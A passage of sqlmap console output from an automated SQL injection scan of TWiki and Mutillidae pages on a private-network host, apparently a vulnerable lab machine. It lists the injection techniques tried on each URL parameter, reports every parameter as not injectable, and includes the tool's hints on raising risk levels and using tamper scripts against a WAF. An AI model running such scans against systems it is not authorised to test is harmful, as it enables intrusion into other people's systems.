[INFO] checking if the injection point on GET parameter 'rev' is a false positive [20:17:38] [WARNING] false positive or unexploitable injection point detected [20:17:38] [WARNING] GET parameter 'rev' is not injectable [20:17:38] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:17:38] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/TWikiGuest?rev1=1.5&rev2=1.4' [20:17:38] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGuest?rev=1.4' URL 185: GET http://192.168.1.113:80/twiki/bin/oops/Main/TWikiGuest?template=oopsmore¶m1=1.6¶m2=1.6 do you want to test this URL? [Y/n/q] Y [20:17:38] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Main/TWikiGuest?template=oopsmore¶m1=1.6¶m2=1.6' [20:17:38] [INFO] testing connection to the target URL [20:17:38] [INFO] testing if the target URL is stable [20:17:39] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [20:17:39] [INFO] testing if GET parameter 'template' is dynamic [20:17:39] [INFO] confirming that GET parameter 'template' is dynamic [20:17:39] [INFO] GET parameter 'template' is dynamic [20:17:39] [INFO] heuristics detected web page charset 'ascii' [20:17:39] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [20:17:39] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [20:17:39] [INFO] testing for SQL injection on GET parameter 'template' [20:17:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:17:39] [WARNING] reflective value(s) found and filtering out [20:17:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:17:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:17:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:17:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:17:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:17:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:17:42] [INFO] testing 'MySQL inline queries' [20:17:42] [INFO] testing 'PostgreSQL inline queries' [20:17:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:17:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:17:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:17:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:17:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:17:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:17:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:17:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:17:45] [INFO] testing 'Oracle AND time-based blind' [20:17:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:17:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:17:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:17:54] [WARNING] GET parameter 'template' is not injectable [20:17:54] [INFO] testing if GET parameter 'param1' is dynamic [20:17:54] [WARNING] GET parameter 'param1' does not appear dynamic [20:17:54] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [20:17:55] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [20:17:55] [INFO] testing for SQL injection on GET parameter 'param1' [20:17:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:17:56] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:17:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:17:56] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:17:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:17:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:17:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:17:58] [INFO] testing 'MySQL inline queries' [20:17:58] [INFO] testing 'PostgreSQL inline queries' [20:17:58] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:17:59] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:17:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:17:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:18:00] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:18:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:18:01] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:18:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:18:02] [INFO] testing 'Oracle AND time-based blind' [20:18:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:18:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:18:15] [WARNING] GET parameter 'param1' is not injectable [20:18:15] [INFO] testing if GET parameter 'param2' is dynamic [20:18:15] [WARNING] GET parameter 'param2' does not appear dynamic [20:18:15] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [20:18:15] [INFO] testing for SQL injection on GET parameter 'param2' [20:18:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:18:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:18:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:18:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:18:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:18:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:18:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:18:19] [INFO] testing 'MySQL inline queries' [20:18:19] [INFO] testing 'PostgreSQL inline queries' [20:18:19] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:18:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:18:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:18:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:18:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:18:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:18:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:18:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:18:22] [INFO] testing 'Oracle AND time-based blind' [20:18:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:18:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:18:35] [WARNING] GET parameter 'param2' is not injectable [20:18:35] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:18:35] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=documentation/vulnerabilities.php' URL 186: GET http://192.168.1.113:80/twiki/bin/edit/Main/EngineeringGroup?topicparent=Main.TWikiGroups do you want to test this URL? [Y/n/q] Y [20:18:35] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/EngineeringGroup?topicparent=Main.TWikiGroups' [20:18:35] [INFO] testing connection to the target URL [20:18:35] [INFO] testing if the target URL is stable [20:18:36] [INFO] target URL is stable [20:18:36] [INFO] testing if GET parameter 'topicparent' is dynamic [20:18:36] [WARNING] GET parameter 'topicparent' does not appear dynamic [20:18:36] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [20:18:36] [INFO] testing for SQL injection on GET parameter 'topicparent' [20:18:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:18:36] [WARNING] reflective value(s) found and filtering out [20:18:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:18:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:18:38] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:18:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:18:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:18:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:18:40] [INFO] testing 'MySQL inline queries' [20:18:40] [INFO] testing 'PostgreSQL inline queries' [20:18:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:18:40] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:18:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:18:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:18:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:18:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:18:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:18:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:18:43] [INFO] testing 'Oracle AND time-based blind' [20:18:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:18:43] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:18:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:18:55] [WARNING] GET parameter 'topicparent' is not injectable [20:18:55] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 187: GET http://192.168.1.113:80/twiki/bin/edit/Main/SupportGroup?topicparent=Main.TWikiGroups do you want to test this URL? [Y/n/q] Y [20:18:55] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/SupportGroup?topicparent=Main.TWikiGroups' [20:18:55] [INFO] testing connection to the target URL [20:18:55] [INFO] testing if the target URL is stable [20:18:56] [INFO] target URL is stable [20:18:56] [INFO] testing if GET parameter 'topicparent' is dynamic [20:18:56] [WARNING] GET parameter 'topicparent' does not appear dynamic [20:18:56] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [20:18:56] [INFO] testing for SQL injection on GET parameter 'topicparent' [20:18:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:18:56] [WARNING] reflective value(s) found and filtering out [20:18:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:18:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:18:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:18:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:18:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:18:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:18:59] [INFO] testing 'MySQL inline queries' [20:18:59] [INFO] testing 'PostgreSQL inline queries' [20:19:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:19:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:19:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:19:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:19:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:19:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:19:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:19:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:19:03] [INFO] testing 'Oracle AND time-based blind' [20:19:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:19:03] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:19:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:19:14] [WARNING] GET parameter 'topicparent' is not injectable [20:19:14] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 188: GET http://192.168.1.113:80/twiki/bin/edit/Main/TWikiGroups?t=1441457837 do you want to test this URL? [Y/n/q] Y [20:19:14] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiGroups?t=1441457837' [20:19:14] [INFO] testing connection to the target URL [20:19:15] [INFO] testing if the target URL is stable [20:19:15] [INFO] target URL is stable [20:19:15] [INFO] testing if GET parameter 't' is dynamic [20:19:16] [WARNING] GET parameter 't' does not appear dynamic [20:19:16] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [20:19:16] [INFO] testing for SQL injection on GET parameter 't' [20:19:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:19:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:19:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:19:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:19:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:19:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:19:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:19:19] [INFO] testing 'MySQL inline queries' [20:19:19] [INFO] testing 'PostgreSQL inline queries' [20:19:19] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:19:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:19:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:19:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:19:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:19:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:19:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:19:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:19:22] [INFO] testing 'Oracle AND time-based blind' [20:19:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:19:23] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:19:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:19:34] [WARNING] GET parameter 't' is not injectable [20:19:34] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 189: GET http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=TWiki Groups[^A-Za-z] do you want to test this URL? [Y/n/q] Y [20:19:34] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=TWiki Groups[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:19:34] [INFO] testing connection to the target URL [20:19:34] [INFO] testing if the target URL is stable [20:19:35] [INFO] target URL is stable [20:19:35] [INFO] testing if URI parameter '#1' is dynamic [20:19:35] [WARNING] URI parameter '#1*' does not appear dynamic [20:19:36] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:19:36] [INFO] testing for SQL injection on URI parameter '#1*' [20:19:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:19:36] [WARNING] reflective value(s) found and filtering out [20:19:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:19:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:19:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:19:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:19:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:19:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:19:39] [INFO] testing 'MySQL inline queries' [20:19:39] [INFO] testing 'PostgreSQL inline queries' [20:19:39] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:19:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:19:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:19:40] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:19:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:19:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:19:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:19:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:19:43] [INFO] testing 'Oracle AND time-based blind' [20:19:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:19:43] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:19:49] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:19:55] [WARNING] URI parameter '#1*' is not injectable [20:19:55] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 190: GET http://192.168.1.113:80/twiki/bin/view/Main/TWikiGroups?skin=print do you want to test this URL? [Y/n/q] Y [20:19:55] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGroups?skin=print' [20:19:55] [INFO] testing connection to the target URL [20:19:55] [INFO] testing if the target URL is stable [20:19:56] [INFO] target URL is stable [20:19:56] [INFO] testing if GET parameter 'skin' is dynamic [20:19:56] [INFO] confirming that GET parameter 'skin' is dynamic [20:19:56] [INFO] GET parameter 'skin' is dynamic [20:19:56] [INFO] heuristics detected web page charset 'ascii' [20:19:56] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [20:19:56] [INFO] testing for SQL injection on GET parameter 'skin' [20:19:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:19:56] [WARNING] reflective value(s) found and filtering out [20:19:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:19:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:19:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:19:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:19:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:19:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:20:00] [INFO] testing 'MySQL inline queries' [20:20:00] [INFO] testing 'PostgreSQL inline queries' [20:20:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:20:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:20:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:20:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:20:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:20:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:20:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:20:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:20:03] [INFO] testing 'Oracle AND time-based blind' [20:20:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:20:03] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:20:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:20:14] [WARNING] GET parameter 'skin' is not injectable [20:20:14] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 191: GET http://192.168.1.113:80/twiki/bin/rdiff/Main/TWikiGroups?rev1=1.4&rev2=1.3 do you want to test this URL? [Y/n/q] Y [20:20:14] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Main/TWikiGroups?rev1=1.4&rev2=1.3' [20:20:14] [INFO] testing connection to the target URL [20:20:14] [INFO] testing if the target URL is stable [20:20:15] [INFO] target URL is stable [20:20:15] [INFO] testing if GET parameter 'rev1' is dynamic [20:20:15] [WARNING] GET parameter 'rev1' does not appear dynamic [20:20:15] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [20:20:15] [INFO] testing for SQL injection on GET parameter 'rev1' [20:20:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:20:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:20:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:20:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:20:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:20:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:20:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:20:19] [INFO] testing 'MySQL inline queries' [20:20:19] [INFO] testing 'PostgreSQL inline queries' [20:20:19] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:20:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:20:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:20:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:20:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:20:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:20:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:20:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:20:22] [INFO] testing 'Oracle AND time-based blind' [20:20:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:20:23] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:20:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:20:34] [WARNING] GET parameter 'rev1' is not injectable [20:20:34] [INFO] testing if GET parameter 'rev2' is dynamic [20:20:34] [WARNING] GET parameter 'rev2' does not appear dynamic [20:20:35] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [20:20:35] [INFO] testing for SQL injection on GET parameter 'rev2' [20:20:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:20:36] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:20:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:20:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:20:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:20:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:20:38] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:20:38] [INFO] testing 'MySQL inline queries' [20:20:38] [INFO] testing 'PostgreSQL inline queries' [20:20:38] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:20:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:20:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:20:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:20:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:20:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:20:41] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:20:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:20:42] [INFO] testing 'Oracle AND time-based blind' [20:20:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:20:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:20:54] [WARNING] GET parameter 'rev2' is not injectable [20:20:54] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 192: GET http://192.168.1.113:80/twiki/bin/view/Main/TWikiGroups?rev=1.3 do you want to test this URL? [Y/n/q] Y [20:20:54] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGroups?rev=1.3' [20:20:54] [INFO] testing connection to the target URL [20:20:55] [INFO] testing if the target URL is stable [20:20:56] [INFO] target URL is stable [20:20:56] [INFO] testing if GET parameter 'rev' is dynamic [20:20:56] [INFO] confirming that GET parameter 'rev' is dynamic [20:20:56] [INFO] GET parameter 'rev' is dynamic [20:20:56] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [20:20:56] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [20:20:56] [INFO] testing for SQL injection on GET parameter 'rev' [20:20:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:20:56] [WARNING] reflective value(s) found and filtering out [20:20:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:20:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:20:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:20:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:20:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:21:00] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:21:00] [INFO] testing 'MySQL inline queries' [20:21:00] [INFO] testing 'PostgreSQL inline queries' [20:21:00] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:21:00] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:21:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:21:01] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:21:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:21:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:21:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:21:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:21:03] [INFO] testing 'Oracle AND time-based blind' [20:21:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:21:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:21:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:21:16] [WARNING] GET parameter 'rev' is not injectable [20:21:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:21:16] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/TWikiGroups?rev1=1.3&rev2=1.2' [20:21:16] [INFO] skipping 